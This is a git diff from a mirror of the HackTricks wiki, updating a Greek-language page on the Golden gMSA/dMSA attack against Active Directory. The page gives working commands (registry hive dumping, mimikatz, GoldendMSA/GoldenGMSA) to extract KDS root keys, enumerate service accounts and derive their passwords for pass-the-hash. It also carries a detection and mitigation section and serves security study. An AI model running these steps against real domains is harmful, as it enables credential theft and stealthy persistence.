mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
0688b61e82
commit
d7d89e57e7
@ -4,38 +4,38 @@
|
||||
|
||||
## Επισκόπηση
|
||||
|
||||
Τα Windows Managed Service Accounts (MSA) είναι ειδικοί φορείς σχεδιασμένοι να εκτελούν υπηρεσίες χωρίς την ανάγκη χειροκίνητης διαχείρισης των κωδικών τους.
|
||||
Οι Λογαριασμοί Υπηρεσιών Διαχείρισης Windows (MSA) είναι ειδικοί κύριοι που έχουν σχεδιαστεί για να εκτελούν υπηρεσίες χωρίς την ανάγκη χειροκίνητης διαχείρισης των κωδικών πρόσβασης τους.
|
||||
Υπάρχουν δύο κύριες παραλλαγές:
|
||||
|
||||
1. **gMSA** – group Managed Service Account – μπορεί να χρησιμοποιηθεί σε πολλαπλούς hosts που είναι εξουσιοδοτημένοι στο `msDS-GroupMSAMembership` attribute.
|
||||
2. **dMSA** – delegated Managed Service Account – ο (preview) διάδοχος του gMSA, που βασίζεται στην ίδια κρυπτογραφία αλλά επιτρέπει πιο λεπτομερείς σενάρια αντιπροσώπευσης.
|
||||
1. **gMSA** – ομαδικός Λογαριασμός Υπηρεσίας Διαχείρισης – μπορεί να χρησιμοποιηθεί σε πολλαπλούς υπολογιστές που είναι εξουσιοδοτημένοι στο χαρακτηριστικό `msDS-GroupMSAMembership` του.
|
||||
2. **dMSA** – εξουσιοδοτημένος Λογαριασμός Υπηρεσίας Διαχείρισης – ο (προεπισκόπηση) διάδοχος του gMSA, που βασίζεται στην ίδια κρυπτογραφία αλλά επιτρέπει πιο λεπτομερείς σενάρια εξουσιοδότησης.
|
||||
|
||||
Για και τις δύο παραλλαγές, ο **κωδικός δεν αποθηκεύεται** σε κάθε Domain Controller (DC) όπως ένας κανονικός NT-hash. Αντίθετα, κάθε DC μπορεί να **παράγει** τον τρέχοντα κωδικό on-the-fly από:
|
||||
Για και τις δύο παραλλαγές, ο **κωδικός πρόσβασης δεν αποθηκεύεται** σε κάθε Domain Controller (DC) όπως ένας κανονικός NT-hash. Αντίθετα, κάθε DC μπορεί να **παράγει** τον τρέχοντα κωδικό πρόσβασης εν κινήσει από:
|
||||
|
||||
* Το δασικό **KDS Root Key** (`KRBTGT\KDS`) – τυχαία παραγόμενο GUID-ονομασμένο μυστικό, αναπαραγόμενο σε κάθε DC κάτω από το `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` container.
|
||||
* Το **SID** του στόχου λογαριασμού.
|
||||
* Ένα ανά λογαριασμό **ManagedPasswordID** (GUID) που βρίσκεται στο `msDS-ManagedPasswordId` attribute.
|
||||
* Το κλειδί **KDS Root Key** σε επίπεδο δάσους (`KRBTGT\KDS`) – τυχαία παραγόμενο GUID-ονομασμένο μυστικό, αναπαραγόμενο σε κάθε DC κάτω από το δοχείο `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …`.
|
||||
* Το **SID** του στοχευόμενου λογαριασμού.
|
||||
* Ένα **ManagedPasswordID** ανά λογαριασμό (GUID) που βρίσκεται στο χαρακτηριστικό `msDS-ManagedPasswordId`.
|
||||
|
||||
Η παραγωγή είναι: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob τελικά **base64-encoded** και αποθηκευμένο στο `msDS-ManagedPassword` attribute.
|
||||
Δεν απαιτείται καμία κίνηση Kerberos ή αλληλεπίδραση με το domain κατά τη διάρκεια της κανονικής χρήσης του κωδικού – ένας μέλος host παράγει τον κωδικό τοπικά όσο γνωρίζει τις τρεις εισόδους.
|
||||
Η παραγωγή είναι: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob που τελικά **κωδικοποιείται σε base64** και αποθηκεύεται στο χαρακτηριστικό `msDS-ManagedPassword`.
|
||||
Δεν απαιτείται καμία κίνηση Kerberos ή αλληλεπίδραση με το domain κατά τη διάρκεια της κανονικής χρήσης του κωδικού πρόσβασης – ένας μέλος υπολογιστής παράγει τον κωδικό πρόσβασης τοπικά όσο γνωρίζει τις τρεις εισόδους.
|
||||
|
||||
## Χρυσή επίθεση gMSA / Χρυσή dMSA επίθεση
|
||||
## Χρυσή επίθεση gMSA / Χρυσή dMSA
|
||||
|
||||
Εάν ένας επιτιθέμενος μπορεί να αποκτήσει και τις τρεις εισόδους **offline**, μπορεί να υπολογίσει **έγκυρους τρέχοντες και μελλοντικούς κωδικούς** για **οποιοδήποτε gMSA/dMSA στο δάσος** χωρίς να αγγίξει ξανά το DC, παρακάμπτοντας:
|
||||
Εάν ένας επιτιθέμενος μπορεί να αποκτήσει και τις τρεις εισόδους **offline**, μπορεί να υπολογίσει **έγκυρους τρέχοντες και μελλοντικούς κωδικούς πρόσβασης** για **οποιονδήποτε gMSA/dMSA στο δάσος** χωρίς να αγγίξει ξανά το DC, παρακάμπτοντας:
|
||||
|
||||
* Kerberos προ-αυθεντικοποίηση / logs αιτημάτων εισιτηρίων
|
||||
* LDAP ανάγνωση ελέγχου
|
||||
* Διαστήματα αλλαγής κωδικών (μπορούν να προϋπολογίσουν)
|
||||
* Τον έλεγχο ανάγνωσης LDAP
|
||||
* Τα διαστήματα αλλαγής κωδικών πρόσβασης (μπορούν να προϋπολογίσουν)
|
||||
|
||||
Αυτό είναι ανάλογο με ένα *Golden Ticket* για λογαριασμούς υπηρεσιών.
|
||||
Αυτό είναι ανάλογο με ένα *Χρυσό Εισιτήριο* για λογαριασμούς υπηρεσιών.
|
||||
|
||||
### Προαπαιτούμενα
|
||||
|
||||
1. **Συμβιβασμός σε επίπεδο δάσους** ενός **DC** (ή Enterprise Admin). Η πρόσβαση `SYSTEM` είναι αρκετή.
|
||||
2. Δυνατότητα καταμέτρησης λογαριασμών υπηρεσιών (LDAP read / RID brute-force).
|
||||
3. .NET ≥ 4.7.2 x64 workstation για να τρέξει [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ή ισοδύναμο κώδικα.
|
||||
1. **Συμβιβασμός σε επίπεδο δάσους** ενός **DC** (ή Enterprise Admin), ή πρόσβαση `SYSTEM` σε έναν από τους DCs στο δάσος.
|
||||
2. Δυνατότητα καταμέτρησης λογαριασμών υπηρεσιών (ανάγνωση LDAP / brute-force RID).
|
||||
3. .NET ≥ 4.7.2 x64 workstation για να τρέξει το [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) ή ισοδύναμο κώδικα.
|
||||
|
||||
### Φάση 1 – Εξαγωγή του KDS Root Key
|
||||
### Χρυσή gMSA / dMSA
|
||||
##### Φάση 1 – Εξαγωγή του KDS Root Key
|
||||
|
||||
Dump από οποιοδήποτε DC (Volume Shadow Copy / raw SAM+SECURITY hives ή απομακρυσμένα μυστικά):
|
||||
```cmd
|
||||
@ -45,16 +45,25 @@ reg save HKLM\SYSTEM system.hive
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
|
||||
# With GoldendMSA
|
||||
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||
GoldendMSA.exe kds
|
||||
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
Η συμβολοσειρά base64 που ονομάζεται `RootKey` (όνομα GUID) απαιτείται σε επόμενα βήματα.
|
||||
|
||||
### Φάση 2 – Καταμέτρηση αντικειμένων gMSA/dMSA
|
||||
##### Φάση 2 – Καταμέτρηση αντικειμένων gMSA / dMSA
|
||||
|
||||
Ανακτήστε τουλάχιστον `sAMAccountName`, `objectSid` και `msDS-ManagedPasswordId`:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) υλοποιεί βοηθητικές λειτουργίες:
|
||||
```powershell
|
||||
@ -64,7 +73,7 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Φάση 3 – Μαντέψτε / Ανακαλύψτε το ManagedPasswordID (όταν λείπει)
|
||||
##### Φάση 3 – Μαντέψτε / Ανακαλύψτε το ManagedPasswordID (όταν λείπει)
|
||||
|
||||
Ορισμένες αναπτύξεις *αφαιρούν* το `msDS-ManagedPasswordId` από τις αναγνώσεις που προστατεύονται από ACL.
|
||||
Δεδομένου ότι το GUID είναι 128-bit, η απλή βίαιη δοκιμή είναι μη εφικτή, αλλά:
|
||||
@ -76,24 +85,22 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Το εργαλείο υπολογίζει υποψήφιες κωδικούς πρόσβασης και συγκρίνει το base64 blob τους με το πραγματικό `msDS-ManagedPassword` attribute – η αντιστοιχία αποκαλύπτει το σωστό GUID.
|
||||
Το εργαλείο υπολογίζει υποψήφιες κωδικούς πρόσβασης και συγκρίνει το base64 blob τους με το πραγματικό `msDS-ManagedPassword` χαρακτηριστικό – η αντιστοιχία αποκαλύπτει το σωστό GUID.
|
||||
|
||||
### Φάση 4 – Υπολογισμός & Μετατροπή Κωδικού Πρόσβασης Εκτός Σύνδεσης
|
||||
##### Φάση 4 – Υπολογισμός & Μετατροπή Κωδικού Πρόσβασης εκτός σύνδεσης
|
||||
|
||||
Μόλις γνωρίζεται το ManagedPasswordID, ο έγκυρος κωδικός πρόσβασης είναι ένα βήμα μακριά:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
Οι παραγόμενοι κατακερματισμοί μπορούν να εισαχθούν με **mimikatz** (`sekurlsa::pth`) ή **Rubeus** για κατάχρηση Kerberos, επιτρέποντας κρυφή **πλευρική κίνηση** και **επιμονή**.
|
||||
|
||||
## Ανίχνευση & Μετριασμός
|
||||
|
||||
* Περιορίστε τις δυνατότητες **αντίγραφου ασφαλείας DC και ανάγνωσης μητρώου** σε διαχειριστές Tier-0.
|
||||
* Παρακολουθήστε τη δημιουργία **Λειτουργίας Επαναφοράς Υπηρεσιών Καταλόγου (DSRM)** ή **Αντιγράφου Σκιάς Όγκου** σε DCs.
|
||||
* Παρακολουθήστε τη δημιουργία **Λειτουργίας Επαναφοράς Υπηρεσιών Καταλόγου (DSRM)** ή **Αντίγραφο Σκιάς Όγκου** σε DCs.
|
||||
* Ελέγξτε τις αναγνώσεις / αλλαγές στα `CN=Master Root Keys,…` και τις σημαίες `userAccountControl` των λογαριασμών υπηρεσιών.
|
||||
* Ανιχνεύστε ασυνήθιστες **εγγραφές κωδικών πρόσβασης base64** ή ξαφνική επαναχρησιμοποίηση κωδικών πρόσβασης υπηρεσιών σε διάφορους υπολογιστές.
|
||||
* Σκεφτείτε να μετατρέψετε τις υψηλής προνομιακής gMSAs σε **κλασικούς λογαριασμούς υπηρεσιών** με κανονικές τυχαίες περιστροφές όπου η απομόνωση Tier-0 δεν είναι δυνατή.
|
||||
@ -101,13 +108,15 @@ GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
## Εργαλεία
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – αναφορά υλοποίησης που χρησιμοποιείται σε αυτή τη σελίδα.
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – αναφορά υλοποίησης που χρησιμοποιείται σε αυτή τη σελίδα.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket χρησιμοποιώντας παραγόμενα κλειδιά AES.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- [Golden dMSA – παράκαμψη αυθεντικοποίησης για εξουσιοδοτημένους Διαχειριζόμενους Λογαριασμούς Υπηρεσιών](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [Αποθετήριο GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA)
|
||||
- [gMSA Επιθέσεις Λογαριασμών Active Directory](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub repository](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Χρυσή επίθεση εμπιστοσύνης gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user